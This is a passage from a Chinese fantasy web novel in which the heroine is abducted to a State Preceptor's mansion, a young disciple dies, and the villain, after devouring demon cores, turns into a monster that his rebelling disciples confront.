顺着指尖蔓延。 沈染星的心脏像是被什么东西轻轻撞了一下。 她讷讷地开口,声音有些发紧:“你什么时候……” 白尘烬的指腹轻轻托起她已然戴上戒指的无名指,仔细端详着,仿佛在检查是否妥帖。 他低着头,睫毛长而密,在眼下投下一小片阴影,解释道:“上一次,在镇上,你买的那一对尺寸,似乎并不完全合你的心意。所以,我寻人重新定制了一对。” 戒指完美地贴合在指根,那丝丝凉意渐渐被她的体温焐热。 白尘烬端详了片刻,用指尖轻轻调整了一下位置,确保它不偏不倚。 “本来,按照工匠的进度,还需半个月才能完工。”他这才抬起眼,目光与她相遇,“但我等不及,提前要了过来,所以,目前只有这样最简单的素圈。” 沈染星深吸一口气,举起左手,透过树叶缝隙洒下的金色阳光,仔细地看着无名指上的戒指。 素圈简洁,在光线下,流转着温润的光泽。 她手指本就纤细白皙,被衬托得更加好看了。 尺寸更是恰到好处,紧密地贴合着,仿佛生来就该在那里。 “这……”她说道,“是我收到过,最好最好的礼物了。” 她说这话,并非因为戒指本身有多贵重稀有。 而是因为,从来没有人,会如此细致地观察她的需求。 过往的经历里,旁人总是固执地认为她需要什么,便给予什么,甚至有时她明确表达了自己的愿望,也常常被忽视,甚至……否定。 这还是第一次,她心情和偏好,被人察觉、记住、在意,并郑重地付诸行动。 她眼眶一热,突然有些想哭。 白尘烬有所察觉,眉头微蹙,低声问道:“怎么了?” 沈染星连忙摇头,伸出手:“没什么!现在,该我帮你戴上了。” 白尘烬将锦盒中另一枚取出,是宽厚一些的男戒,放入她的掌心。 沈染星为他戴好后,看着两人手上的对戒,轻声道:“其实你不用这样着急的,等我从国师府平安回来,你再送给我,也可以的。” 白尘烬闻言,却直接否定:“不行。” “为什么?” 他语气坦荡:“那样,我便无法知晓你的具体方位了。” 沈染星:?! 她愣了一下,随即猛地反应过来,眼睛瞬间瞪圆了:“等等!你的意思是……这个戒指,可以定位?!” 白尘烬十分坦荡地承认:“是。” 沈染星一下子来了兴趣,举起自己的手反复查看:“怎么用?我戴上了,怎么一点感觉都没有?” 白尘烬伸手,执过她戴着戒指的左手,连同她的手指一起,包裹在自己微凉的手掌中,他的指腹轻轻摩挲着那枚素圈。 “因为,”他看着她,道,“是单向的。” “单向?”沈染星挑眉,“为什么不做成双向的?” 白尘烬瞥了她一眼:“你没妖力,无法催动。” 沈染星:……- 这一段时日,掌柜的比较空闲,有因为整个客栈,都被官府的人包了下来。 前两日,掌柜的听说,那伙人中,一个看起来娇滴滴的小娘子,她生气了。 因着此事,那小娘子给掌柜的落下了一个骄纵的印象,哪有人因为礼物不称心而生气的…… 还一连气了两日,谁来劝也不听,甚至不给人进房,只自己窝在房里生闷气。 掌柜的见有人往那小娘子的房里去,连忙阻止:“客官,你还是先不要进去了,方才那萧大人才叹着气出来嘞,还特意吩咐,不要让人进去打扰她。” 那人停住脚步,转身看向掌柜的,面目藏在阴影里,有些瘆人。 掌柜的表情微僵,不免犯怵。 那人却往前走一路,暴露在了光照之下:“好,多谢掌柜的提醒。” 掌柜的见他长得老实憨厚,这才放下了戒心,笑道:“不谢不谢。” 在客栈房间里闷了两日,沈染星不能与外界有过多接触,既无聊与紧张,只能拿着支毛笔,在纸上漫无目的地乱涂乱画。 室内静得能听到自己的心跳声。 就在她对着纸上的一团墨迹发呆时,耳畔捕捉到了细微的声响,像是有什么东西在轻轻摩擦。 她转头看向声音来源。 那紧闭窗户的缝隙处,正白色烟雾渗入,极其淡薄的,几乎与空气融为一体。 那白烟太淡了,若非她全神贯注,几乎难以察觉。 她心中一动,终于来了! 她刚想站起身,上前查看。 然而,四肢却像是突然被抽走了所有力气,一股强烈的眩晕感猛地袭来。 这迷药的效果……实在霸道。 再次恢复意识时,沈染星发现自己躺在一张床上,依旧还在室内,但周遭的环境已截然不同。 身下是触感柔软光滑的被褥,床榻雕刻着祥云瑞兽图案,繁复而精致。 空气中弥漫着一种清冽淡雅的檀香,并非客栈那种寻常味道。 抬眼望去,房间宽敞明亮,陈设极尽奢华却又不失品味,多宝阁上摆放着各类古玩玉器,墙壁上悬挂着意境深远的山水古画,地上铺着厚厚的绒毯,无不彰显着主人尊贵的身份与深厚的底蕴。 这里,估计就是国师府了。 她坐起身,揉了揉依旧有些发沉的额角。 这阎九胤的迷药效果着实厉害,自己居然毫无反抗之力,连中途转运都毫无知觉。 也不知自己昏迷了多久,外面的计划进行到哪一步了…… 萧霁雪他们是否已经趁机混了进来。 正当她思绪纷飞之际,一个温和的嗓音,自身后不远处的屏风外悠然响起: “看来,你这一觉睡得还不错。” 这声音出现得毫无征兆,沈染星着实被吓了一跳,心脏猛地一跳,差点惊呼出声。 她按住心口,强行压下惊悸,转过身,看向从屏风后缓步走出的阎九胤。 她埋怨:“师父,人吓人,是会吓死人的。” 阎九胤今日换了一身墨绿色常服,更衬得他面如冠玉。 他踱步到桌边,自顾自斟了杯茶,才抬眼看向她,唇角噙着一抹了然的笑意:“你方才是不是在想,萧大人那一行人,有没有及时赶来救你?” 阎九胤出现了,而且如此气定神闲。 这说明第一步计划已经成功,她确实被顺利地带回了国师府。 接下来,最关键的,就是确认萧霁雪他们有没有按计划混进来。 沈染星抬眼看他,虚心求教:“有吗?” 阎九胤似乎很喜欢为人师表,耐心得像个良师,慢条斯理地道:“当然有。” 沈染星的心跳不由得加速了一瞬,很好! 但她很好地掩饰了这份激动,只是静静听着。 然而,阎九胤紧接着话锋一转:“不过嘛……很不幸,他们试图潜入时,触动了府内最厉害的几处机关杀阵,如今想必已经尸骨无存了。” 沈染星一听,眼神顿时变得十分古怪。 她定定地看着阎九胤,仿佛在看一个信口开河的骗子。 阎九胤对上她这般眼神,先是微微一怔,随即像是被逗乐了一般,低声笑了起来,摇了摇头:“果然骗不了你。” 沈染星收回视线,垂下眼眸,掩饰住眼底那一闪而过的讥诮。 若他真有这等本事,已将白尘烬和萧霁雪一网打尽,早便向她炫耀施压了了,又怎会用这般试探的语气。 还真是张口就来,谎话连篇。 阎九胤并未在意她细微的情绪变化:“只是可惜了我安插在萧霁雪身边的那枚棋子,生了张淳厚良善,极易让人信任的脸,潜伏多年,是个难得的好棋子。可惜啊……小安脾气实在暴躁,见救你不成,一怒之下,竟直接把我那棋子给杀了。” 沈染星听着,眉头轻蹙。 前半句尚可理解,无非是指出萧霁雪身边有他的内应,两次配合将她绑来。 可这小安又是谁? 怎么就发怒杀人了? 她记忆中完全没有这号人物,是国师在故意混淆视听,还是计划出了什么她不知道的变故? 阎九胤见她沉默不语,只当她是因为再次落入自己手中而心情郁卒,不愿搭理自己。 在他看来,如今主动权牢牢掌握在自己手中,心情自然颇佳。 于是他笑得愈发风度翩翩,带着一种胜者的宽容:“好了,小奴若,闹也闹够了,玩也玩够了。现在,可以告诉为师了吧……” “你究竟是如何知道……关于你师娘那些事情的?” 最初他也怀疑沈染星只是凭借零碎信息大胆猜测,危言耸听。 可她当时的语气太过笃定,言辞间透露出的细节,竟与事实分毫不差! 那些陈年旧事,知晓内情的人早在几百年前就被他清理干净了,怎么可能在几百年后,又凭空冒出一个知情人? 除非……当时确有漏网之鱼! 他必须把这最后的隐患彻底清除。 沈染星正欲开口。 “砰!” 房门被人猛地从外面撞开!一名弟子连滚爬爬地冲了进来,形容狼狈,衣衫染血,声音因为极度惊恐而变调: “国师!不好了!萧大人她……她带着一大群人,直接打进来了!前院快要守不住了!” 沈染星猛地抬眼望去,眼神凝重,怎么这样快就攻进来了。 计划有变? 阎九胤亦是脸色一沉:“慌什么!没看到我正在处理要事吗?府中那么多弟子,全部给我顶上去!” 那弟子噗通一声跪倒在地:“挡不住啊国师!他们攻势太猛了,我们的人死伤惨重,阵法也被破了大半!” 阎九胤眉头紧紧皱起。 他对萧霁雪一伙的实力有所预估,按理说,在他这经营多年,机关重重的国师府内,他们绝不可能如此轻易地攻进来,更别说造成如此大的破坏。 其中必有蹊跷。 他站起身,目光阴鸷,扫过跪地的弟子,又转向坐在床上的沈染星,冷声道:“你好好待在这里,我去去就回。” 沈染星乖巧应道:“好。” ……才怪。 阎九胤交代完毕,一撩衣摆,快步离去。 门外传来他冷硬的吩咐:“看好她。” “是!”守卫齐声应喝,声音整齐划一。 待门外脚步声远去,一切重新归于寂静后,沈染星才悄悄走到门边,拉开一道门缝。 门外两列守卫,身着玄色护甲,手持利刃。 这阵仗,硬闯是绝对出不去了。 沈染星心下凛然,关上了门,还顺手插上了门闩。 她背靠着冰凉的门板,轻轻吐出一口气。 正思索着其他脱身之法,眼角的余光猛地瞥见内室立着一道模糊的身影! 沈染星的心瞬间提到了嗓子眼,吓得几乎要叫出声来! 她警惕地望向那片阴影。 怎么这国师府这样阴森…… 人还总喜欢悄无声息地在她身后冒出来! 她甚至忍不住腹诽,白尘烬小时候是不是就在这里,染上了这种喜欢突然出现的坏习惯,一开始才总那样吓她…… “我只是打开门看看,可没有打算硬闯出去。” 她抢先开口,目光紧紧锁定那道略显矮小的,披着宽大袍子的身影。 那道身影动了动,一个沙哑又稚气的声音,从阴影处传来:“若奴师姐,是我。” 又一个国师的弟子? 沈染星微微蹙眉,她现在可没心思在这里叙旧或者周旋。 她直接问道:“我已经不记得从前的事了,叙旧就不必了,直说吧,你来这里,是为了什么?” 那道身影闻言,缓缓从屏风后的阴影里走了出来。 沈染星看清了她的模样。 竟是个半大的孩子,看身形不过十三四岁,穿着一件过于宽大的、灰扑扑的袍子,更显得她身形瘦小。 她披散着一头枯黄的长发,脸色是一种不健康的苍白,嘴唇缺乏血色,一双大眼睛在黑发的映衬下显得格外幽深,乍一看去,竟有几分孤魂野鬼般的凄楚感。 第102章 抬头便看到了他 “明月师姐说, ”那女鬼般的师妹阴森森抬起头,“当你回来的时候,就是我们这些人……可以真正解脱的时候。她让我们,竭尽全力帮助你。” 又是明月? 沈染星想起上次那个不知名的师兄, 也是因为受了明月的恩惠, 才冒险帮她传递消息。 明月在暗中, 究竟布下了多少棋子? “她那样说,你们就都信了?”沈染星问。 那师妹苍白的面容上,瞬间扭曲疯狂与刻骨恨意, 声音也陡然变得尖利:“真与不真, 又如何?!阎九胤杀了我全家!还蒙蔽我, 让我认贼作父,替他出生入死!你成不成功,我根本不在意!” “我在意的只有一件事,阎九胤,他一定要死!一定要为我爹爹娘亲陪葬!” 她面容愈发扭曲, 沈染星脊背窜起一阵寒意。 这女孩的模样, 仿佛下一刻就会彻底失去理智, 化作索命的厉鬼。 沈染星忙转移她注意力:“你既是他的弟子, 也是妖能者?你的能力是什么?” 果然,被问到能力,女孩的注意力被转移了些许,脸上那骇人的疯狂稍褪,又变回了那副孤零零, 无所依凭的孤魂野鬼,低声回答:“我可以吸食妖力,暂时获取它们的力量, 化为己用。” “你现在,可以带我离开这里吗?”她直接问道。 “可以,我可以送你到前院,来救你的人正在前院与国师激战。” “不,”沈染星却摇了摇头,“我不去前院。我要去这里关押着那些尚未被完全驯化,野性尚存的妖的地方。” 女孩吃惊地抬起头:“你不逃?” “对!” 沈染星记得原著中,正是因为这一批被国师以特殊手段控制和强化过的妖仆军团,主角团付出了极其惨重的代价,最后还是联合了皇室隐藏的力量才勉强获胜。 而这一次,他们显然还没来得及调动皇家兵力,必须想办法牵制住国师的这支妖仆力量。 沈染星:“我要去与那些还未被彻底驯服的妖结契,让它们帮助我们,牵制住国师手下的妖仆!” 她走上前:“走吧,带我去妖牢,给国师送一份大礼。” 国师府的战斗已陷入白热化。 阎九胤麾下那些被特殊手段驯化、控制的妖仆,数量实在太多。 它们实力强悍,不知疼痛,没有恐惧,源源不断地涌上来。 起初,国师府内的弟子们似乎无心恋战,或是早已实力受损,抵抗如同纸糊一般,不堪一击,推进速度一度很快。 然而,当阎九胤亲自带着妖仆军团加入战局后,形势瞬间逆转。 每前进一步都变得异常艰难,刀剑砍在那些妖仆身上,它们却仿佛没有知觉,除非彻底摧毁核心,否则便会一直战斗下去。 胶着的战况中,白尘烬心神猛地一动,他感知到,指间戒指传来的沈染星的方位,发生了变化。 她移动了。 而且,另一个方向,似乎也有她的气息。 已经两日毫无音讯,他们想尽办法也无法潜入国师府内部查探,这才不得不选择强攻,以期制造混乱,寻找救出她的机会。 偏偏在这最关键的时刻,她的位置动了。 不同的方向甚至传来了关于她的不详的气息…… 她遇到了危险? 未知带来的,是如同毒蛇般噬咬心脏的焦躁。 白尘烬心中那股压抑已久的暴戾、担忧瞬间被点燃,手中长剑愈发凌厉,将扑上来的妖仆狠狠劈开、冻结、碎裂! 可杀了一个,立刻又有两个、三个扑上来! 这些没有自我意识的战斗兵器,仿佛无穷无尽,死死地拖住了他。 白尘烬不愿再等了。 他周身冒起淡蓝色光芒,身上素帛仿佛承受不住这股失控的力量,寸寸碎裂,化作点点蓝白色的火焰,无声地燃烧、飘散,映照着他那双狠厉的眼眸。 萧霁雪一直留意着整个战局,见状心中大骇,立刻飞身掠至他身侧,试图唤回他的理智:“白尘烬,稳住心神!” 妖牢深处。 理想很美好,现实却很骨感。 小师妹硬生生在后背逼出了一双血淋淋的骨翅,抱着沈染星,凭借着对地形的熟悉和妖力的掩护,有惊无险地飞抵了妖牢入口。 然而,一踏牢狱深处,她们最不愿见到的人,赫然就在那里。 妖牢内光线昏暗,只有几支火把在墙壁上跳跃,映照出扭曲晃动的影子,空气中弥漫着令人作呕的血腥气。 而阎九胤,就站在一片狼藉的牢笼之间,他袍子下摆早已被暗红的血液浸透,双手更是沾满了粘稠的的鲜血。 他正站在一个刚被强行打开的牢笼前,手起刀落,剖妖丹。 然后,直接将那颗血淋淋的妖丹塞入了口中,喉结滚动,吞咽了下去。 脸上甚至浮现出一种近乎瘾君子般的餍足与渴求。 他这是将库存炼化好的妖丹消耗殆尽后,尤觉得力量不够,开始直接生吞活剥了! 看到这如同地狱恶魔般的一幕,沈染星只觉得胃里一阵翻江倒海,强烈的恶心感直冲喉咙。 她心知此时的阎九胤已经彻底疯狂,绝不可正面抗衡,立刻拉着小师妹,转身就想悄无声息地退出去。 可她才转身。 “小若奴?” 一个温和得诡异的声音便叫住了她。 沈染星身体一僵,缓缓回头。 阎九胤已转过了身,笑得温和,只是眉眼上方恰好滑落一滴殷红的血珠,沿着他俊雅的侧脸蜿蜒而下。 “你还没告诉为师,”他一步步走近,“你到底是怎么知道,关于你师娘的那些事情的?” 沈染星拉着小师妹后退一步,心脏在胸腔里狂跳。 她注意到,阎九胤裸露的皮肤下,血管不正常地凸起,并且隐隐闪过各种杂乱的颜色光芒,这是力量极度不稳定,濒临失控的征兆。 她想起纪明月说过,她在国师库存的妖丹上动了手脚…… 不如让他彻底失控,最好把自己逼死。 沈染星强行压下恐惧,吞咽了一下口水:“书里看到的。” “什么书?” “市井上的话本子啊,”沈染星硬着头皮,继续刺激他,“写得可详细了,许多人都看过了,茶余饭后都在议论呢……” “你撒谎!此事我从未听闻!” 嘶吼完,阎九胤一顿,顿时目眦欲裂,五官因暴怒而扭曲,皮肤下的血管凸起得更加明显,五颜六色的杂乱光芒闪烁不定,让他看起来像个即将爆裂的怪物。 他已经没办法冷静思考了。 他没有怀疑沈染星在说谎,反而怀疑身边最亲近的人,都联手瞒着他。 沈染星看着他兀自崩溃的模样,担心他发疯,波及己身,不敢多留,想要拉着小师妹悄悄离开。 可还未动身,阎九胤便五指成爪,以迅雷不及掩耳之势,抓了过来。 抓的不是她,而是一侧小师妹纤细的脖颈,甚至将她整个人提离了地面。 “你说!”他眼睛猩红,声音嘶哑狂暴,“她说的是不是真的?你们是不是早就知道了?是不是都在瞒着我?!” 小师妹被他掐得脸色发紫,不但没否认,却反而露出了一个比他还癫狂,还扭曲的笑容。 她仿佛是从地狱深处爬出来的恶鬼,用尽最后力气嘶喊道:“是啊!我们都背叛你了!早就什么都知道了!都在瞒着你,看你像个傻子一样……” 可惜,她的话还未说完,暴怒中的阎九胤手臂猛地一甩,竟将女孩狠狠砸向了旁边坚硬的石壁。 掠过的风,扬起了沈染星的发。 “砰”一声闷响,小师妹的身体软软地滑落在地,一动不动。 血立刻便留了一地,锁骨处骨头茬子森白森白的,刺破了皮肉和袍子,暴露在空气中。 沈染星大脑一片空白,疯了一般冲过去,跪倒在女孩身边。 她颤抖着双手,徒劳地想要捂住那不断涌出鲜血的伤口,可血液依旧不断地从她的指缝间渗出,染红了她的双手,也染红了她的眼睛。 她的手抖得厉害,冰冷的恐惧感席卷了全身。 “师姐,别怕……”小师妹气息奄奄了,反而开口安慰她,“我吸食了太多驳杂的妖气,身体早就坏了……就算吃了明月师姐给的……暂时压制蛊毒的妖丹,也活不了多久了……” “别胡说,能活多久是多久!”沈染星的眼泪夺眶而出,“你明明,明明已经快要自由了……” 小师妹不再看她,目光开始涣散,失去了焦距,大颗大颗的眼泪从她眼角滑落。 “娘……好冷……好冷……小澄好冷啊……” 沈染星抽噎一下,立刻脱下外袍,裹住女孩冰冷颤抖的身体,将她紧紧,紧紧地抱在怀里。 阎九胤体内的力量如同沸腾的岩浆,在他的经脉中横冲直撞。 皮肤下的血管狰狞地凸起、扭动,仿佛有无数细小的虫子在皮下蠕动,血管的颜色更是诡异地变幻着,时而赤红如血,时而幽蓝如冰,时而泛起污浊的紫黑,将他那张原本俊雅的脸庞,衬托得如同从地狱爬出的恶鬼。 他发出一声痛苦又暴戾的低吼,周身散发出的混乱气息,整个妖牢的空气都为之凝滞。 好半晌,这阵剧烈的失控才勉强平息少许。 阎九胤猛地晃了晃头,眼神恢复了一丝清明,他立刻察觉到自己方才的失态。 那绝非寻常。 他霍然转头,眼睛布满血丝,死死盯住沈染星,声音嘶哑如同砂石摩擦: “你对我做了什么?!” 沈染星沉默了片刻,轻轻将怀中已然全然没了气息的小师妹平放在地,用染血的外袍轻轻盖住了她的脸。 她站起身:“我能对你做什么?我如今灵力低微,手无寸铁,如何能影响得了你这位高高在上的国师?” 她顿了顿,目光不经意掠过关着各类妖物的牢笼:“真要对你做什么……那也得是你身边最亲近、最信任的人,才能办到吧?” “纪明月?!”阎九胤几乎是瞬间就吼出了这个名字。 沈染星心下微惊,他身边难道就没别的怀疑对象了吗? 对明月的执念竟然如此之深? 若自己再回来晚些,纪明月怕不是都要成为下一任国师了…… 见沈染星默认不语,阎九胤咧开嘴,露出了一个狰狞阴森到极点的笑容,那笑容扭曲变形,早已失去了任何人样,更像是一头择人而噬的凶妖。 “好……很好!” 他像是突然想起了什么,得意道:“你猜猜,我方才出去迎战的时候,顺道去做了什么安排?” 沈染星只与他对视了一眼,心便猛地一沉。 阎九胤享受着她的紧张,慢悠悠地说道:“我当然是,为小安准备了一个绝杀之阵。用你留下的信物,很轻易地就把他……引了过去。” 沈染星脸色瞬间煞白。 她甚至没注意到,他口中的称呼那人是小安,下意识,便知道他说的是白尘烬。 阎九胤拉长语调:“算算时间,现在他差不多……已经死了吧。” “你胡说!” “胡说?”阎九胤嗤笑一声,“你知道他会怎么死吗?陷入我那重重阵法,被彻底困住,然后……我特意研制的,能诱使他自身力量狂暴反噬的奇毒会发作,那力量会从他体内……嘭!地炸开!将他整个人,从内到外,一寸寸地撕裂!撕得血肉模糊,鲜血淋漓……那场面,想必精彩极了……” 沈染星死死咬着下唇,从阎九胤那癫狂而笃定的眼神中,看得出来,他说的…… 是真话! 心底又声音不断重复,他说的一定是真话。 她已经孤立无援了。 沈染星四肢发凉,几乎无法呼吸,只能恶狠狠地看着他。 阎九胤看着她失魂落魄的模样,更加得意:“……然后,我会把他那破碎不堪的尸体,高高地吊在京城最显眼的城墙之上!让所有人都看看,与妖族勾结,与我作对的下场!以此鼓舞我人族士气!接着,我会派人直捣妖域,把纪明月那个叛徒抓回来!还有那头狐狸……” “我不杀你,”阎九胤的笑容变得无比恶毒,他指着地上小师妹的尸体,“但是,我会把你身边在乎的人,一个一个,全部杀光!她,小安,纪明月,那头狐妖,还有你那个可笑的共生苑里,所有与你有关的……” 沈染星无比相信他的话,浑身的血液都仿佛冻结了。 几乎陷入了魔怔。 难道白尘烬他真的落入了圈套? 因为她? 此时,她无意间,视线扫过手上的对戒,思绪兀地清醒过来。 对了,她还有定位戒指…… 如此看来,阎九胤放了再大的诱饵,估计也白搭。 她连忙避开阎九胤的对视。 头脑愈发清醒。 她意识到方才情绪失控,自乱阵脚,可能是阎九胤手笔。 他似乎想控制自己。 不能再等了,拖下去没好处。 沈染星压下各种情绪,再次扫了一眼满牢的妖。 她清了清嗓子,发了个大招:“就算他们都死了,又如何?你这个伪君子真小人的面目,早就被人写成了书,传遍了天下,如今谁人不知,你阎九胤是个忘恩负义、残害发妻、窃取妖丹、挑起战祸的卑鄙小人!你注定遗臭万年,被天下人耻笑!” “你——找——死!” 这番话重重踩在阎九胤痛处,彻底掐断了他最后的理智,他发出一声不似人声的咆哮,周身混乱的光芒爆闪,猛地朝沈染星扑了过来,五指成爪,直取她的咽喉。 沈染星早有防备,在他动身的瞬间,便猛地向旁边一闪,同时朝着妖牢躲去。 才堪堪躲开,阎九胤再次逼近,手臂横扫,带起一股腥臭的罡风。 沈染星凭借着小巧的身形,狼狈地就地一滚,再次险之又险地避开,但那罡风的余波依旧震得她气血翻涌,喉头一甜。 第三次攻击接踵而至。沈染星一把抹去嘴角的血,却再也无法完全避开,被那强大的力量边缘扫中,倒飞出去,狠狠撞在几个坚硬的玄铁牢笼上。 阎九胤还想上前。 却被身后的声音吸引了注意,他往后看去。 这才发现,方才的打斗摧毁了数个牢笼,锁链崩断,笼门扭曲。 里面被囚禁已久的大小妖物,冲了出来。 “别怕!一起上!杀了他!你们就自由了!”沈染星强忍着剧痛,嘶声大喊。 一些胆小的妖物本能地四散逃窜,但其中几头气息较为强悍的,它们似乎认出了沈染星,更明白刚才是沈染星间接放出了它们。 毫不犹豫,不约而同地朝着阎九胤,群起而攻之。 然而,此时的阎九胤力量太过恐怖,尽管状态混乱,依旧不是这些实力未复的妖物所能抗衡。 不过短短几个照面,冲上去的几头大妖便纷纷惨叫着被击飞,骨断筋折,鲜血喷洒,再次倒在地上失去了战斗力。 阎九胤甚至没有多看它们一眼,他那双猩红混乱的眼睛,自始至终都死死锁定在倚着破碎牢笼、嘴角溢血、无力再逃的沈染星身上。 沈染星视线又扫过剩余的妖笼。 不知能不能开出一个更强的盲盒。 正思索,阎九胤身形一闪,如同瞬移般,来到在沈染星面前,嘴角勾出残忍的笑。 他不再多言,便再次抬起手,朝她纤细的脖颈掐去。 沈染星想躲,一动,却发现浑身刺痛。 日!居然根本使不上力气了。 死是死不掉的,阎九胤肯定不舍得杀自己,可皮肉之苦,可能是少不了了。 她索性闭上了双眼。 可疼痛迟迟未来,几息过后,反而听到了阎九胤的凄厉嘶吼。 沈染星惊魂未定,抬头,一片那片昏暗摇曳的光影中,最先看到的,是一双晶蓝色眼眸。 第103章 皇家的人来了 在沈染星眼中, 时间仿佛被无限拉长。 白尘烬面上那常年遮掩的素帛已然不见,整张脸毫无保留,展露在昏暗的光线下。 没有预想中狰狞扭曲的符文,也没有任何新旧交错的可怕伤疤。 那是她从未见过的, 他本来的容貌。 沈染星几乎看呆了去。 只见他朝自己俯身而来, 因急速的动作, 几缕墨色发丝飘飞拂动,掠过他棱角分明的下颌。 那张脸,眉眼深邃如刻, 鼻梁高挺, 薄唇紧抿, 组合在一起,美得凌厉,锋芒,仿佛雪山之巅冰晶雕琢而成,冷冽而耀眼。 下一刻, 天旋地转间, 她便落入了一个带着冰雪气息的怀抱。 白尘烬一手紧紧搂住她的腰肢, 带着她猛地旋身。 轰一声巨响, 他们才离开原地,那处便炸开一个巨大的窟窿,碎石四散飞溅。 烟尘弥漫中,阎九胤的身影如同从地狱爬出的怪物,周身缠绕着狂暴能量, 混乱不堪,五色杂陈,几乎没了人样。 攻击接连袭来。 白尘烬搂紧沈染星, 带着她,在这狭窄混乱的空间内几个迅疾的闪避挪移,避开,最终冲出去。 日光强烈,骤然刺入眼中,沈染星下意识地用手挡住,眯了眯眼,才逐渐适应了外面的光线。 但她重新睁开眼,心脏险些跳出胸腔。 只见目光所及之处,屋顶、地面、庭院、甚至高大的树木枝桠上,竟然密密麻麻站满了身穿国师府弟子服饰的人! 他们手持兵器,神情肃穆,将整个妖牢出口区域围得水泄不通! 沈染星瞬间紧张得浑身僵硬,攥紧了白尘烬的衣襟。 然而,白尘烬带着她,居然轻而易举地脱离了那片包围圈。 而那些弟子却并无一人上前阻拦或攻击,只是依旧保持着警惕的阵型,所有的目光都齐刷刷地聚焦在妖牢的出口方向。 这诡异的场景,让沈染星想起了小师妹临终前的话语。 国师府内,许多弟子早已心生反意,只是受制于“生死状”才不得不听命。 如今看来,他们并非围堵自己和白尘烬,而是在等待着……国师的出现? 白尘烬并未理会这些诡异的弟子,他揽着沈染星,足尖在屋顶瓦片上轻点,身形起落间,远离了那片是非之地,落在国师府外一处僻静的小山坡上。 直到确认完全离开了战斗的核心范围,白尘烬才将沈染星轻轻放下,让她靠着一棵大树的树干坐下。 安全后,沈染星不由自主地再次看向白尘烬的脸。 近距离之下,他那毫无遮掩的容颜带来的冲击力更为强烈。 注意到她的目光,白尘烬俯身,仔细查看她:“哪里不舒服?” 他以为是她身上的伤势发作。 被阎九胤的力量余波砸中,又撞在牢笼上,沈染星此刻确实觉得全身骨头像散了架一样,无处不痛,一时间甚至说不出具体哪里最难受。 不过…… 她轻轻摇了摇头,目光流连在他脸上:“我……不是因为不舒服。” 她抬起微微颤抖的手,轻柔地抚上他光滑冰凉的脸颊,指尖沿着他轮廓线条游走,“你的……那些纹路不见了,伤疤……也全都不见了。” 白尘烬感受到她指尖的温热,微微偏头,用脸颊蹭了蹭她的掌心。 他低声解释道:“嗯。只要我能完全压制并掌控住体内的力量,不让其失控暴走,那些力量外溢形成的纹路便会消退,也不会被撕开伤口。” “其实有那些纹路的时候,也并不丑。” 话音刚落,一声疯狂暴戾的野兽怒吼,突然从妖牢的方向传来。 那声音已经不似人类,更像是无数怨魂与狂暴力量的集合体。 沈染星心头一紧,立刻循声望去:“是国师?!他……怎么会发出这种声音?” 白尘烬神色凝重地点头:“他吞食了太多驳杂的妖丹,力量早已混乱不堪,纪明月动过手脚的妖丹加剧了这种失控。” 沈染星想起那些围而不攻的弟子,又问道:“他的那些弟子……既然大部分都背叛了他,为什么还能脱离‘生死状’的控制?不是说那东西无法可解吗?” 她话音未落。 脚下的大地毫无预兆地剧烈震动起来! 沈染星脸色一变,看向妖牢方向。 一刻钟前,妖牢。 在片刻死寂般的安静后,一阵巨响猛然爆发,伴随着地面的剧烈震颤,仿佛有什么东西从地底深处破土而出。 紧接着,一道沙哑刺耳的吼叫声,撕裂了天际。 国师府中心区域,那座宏伟的妖牢建筑坍塌了大半,烟尘弥漫中,一个庞大、扭曲、难以名状的异形怪物,挣扎着钻了出来。 它身躯臃肿不堪,由无数杂乱的颜色和扭曲的肢体、鳞片、骨刺拼凑而成,散发着令人作呕的腥臭和混乱狂暴的能量。 唯有那张布满疯狂与痛苦的脸,还依稀可辨,还残留着阎九胤的五分轮廓。 地面上,那些原本围在妖牢四周的国师府弟子们,见到这骇人一幕,顿时乱作一团。 不少心志不坚的弟子,吓得面无人色,一边惊恐地尖叫着怪物,一边慌不择路地四散奔逃,只恨爹娘少生了两条腿。 还有相当一部分弟子,尽管脸色苍白,眼中带着恐惧,却依旧死死钉在原地。 他们紧握着手中的兵器,仰头望着不久之前还高高在上的师尊,此刻却变成了这般人不人、妖不妖的恐怖模样。 他们的眼神复杂,有恐惧,有震惊,但更多的,是一种压抑已久的恨意与决绝。 有些人看着那怪物挣扎咆哮的丑态,非但不再紧张,嘴角反而控制不住地勾起,露出了快意与野心的笑容。 阎九胤转动着臃肿不堪,布满肉瘤的头颅,看到了下方那些尚未逃离,肃立原地的弟子们,混乱的大脑第一反应,便是这些人依旧是来听从自己号令的。 “徒儿们听令!随为师一起去把若奴捉回来!至于其他人格杀勿论!一个不留!” 然而,回应他的,是一片死寂,以及无数道充满恨意的目光。 一名身材高大的男弟子向前踏出一步,手中长剑直指怪物,声音洪亮:“哼!阎九胤!你看看你自己现在的模样!你以你如今还能指挥得了谁?!谁还会听你这怪物的命令?!” 阎九胤那臃肿的脑袋缓缓转向他,身形踉跄了一下,似乎不敢相信。 “各位师兄弟!”又一道清冽的女声响起,“我们忍辱负重至今,为的是什么?不就是等这一天吗?这老匹夫恶贯满盈,害得我们家破人亡,将我们当作猪狗奴役!今日,就是我们报仇雪恨,让他血债血偿的时候!” “杀!!为死去的亲人报仇!” “杀了这伪君子!!” “跟他拼了!” 积压了许久的仇恨,在这一刻被彻底点燃。 话音未落,便有数道身影,悍不畏死地朝着那庞大的怪物飞身扑去,剑光、符箓、法术的光芒瞬间亮起。 阎九胤环顾四周,浑浊眼眸里满是不可置信。 他不相信,所有人都与他为敌。 这些人里,分明有人曾得他倾囊相授的术法,有人因他而平步青云,享尽荣华,甚至有人被他亲手赋予了执掌一方的权柄。 攻击同时袭来,阎九胤没有动用复杂的法术,只用尾巴横扫而出。 几声闷响和令人牙酸的骨裂声接连响起。 那几名冲在最前面的弟子,有两人躲闪不及,直接被尾巴狠狠砸中,整个人爆成一团血雾,只留下两滩模糊的血肉。 另外一人虽勉强格挡,也被扫飞出去,撞在远处的断壁上,生死不知。 这残酷血腥的一幕,让后面一些冲动的弟子瞬间清醒,骇得停下了脚步。 有人忍不住失声尖叫:“这到底是什么怪物?!太恶心了!根本无法靠近!” “小心他的尾巴!”有人急声提醒。 然而,已经晚了! 阎九胤似乎捕捉到了那句吐槽,身体压低,尾巴一扫,直接将那名出声吐槽的弟子拦腰卷住,提到了半空中! “你刚刚说了什么?”阎九胤腥臭的气息喷吐在弟子脸上。 那名弟子吓得浑身抖如筛糠,脸色惨白如纸,却依旧用尽最后力气嘶吼道:“我说……你恶心!恶心!!令人作呕的怪物!!恶心……” 人心向背到如此地步,阎九胤再也无法维持理智。 他尾巴猛地收紧。 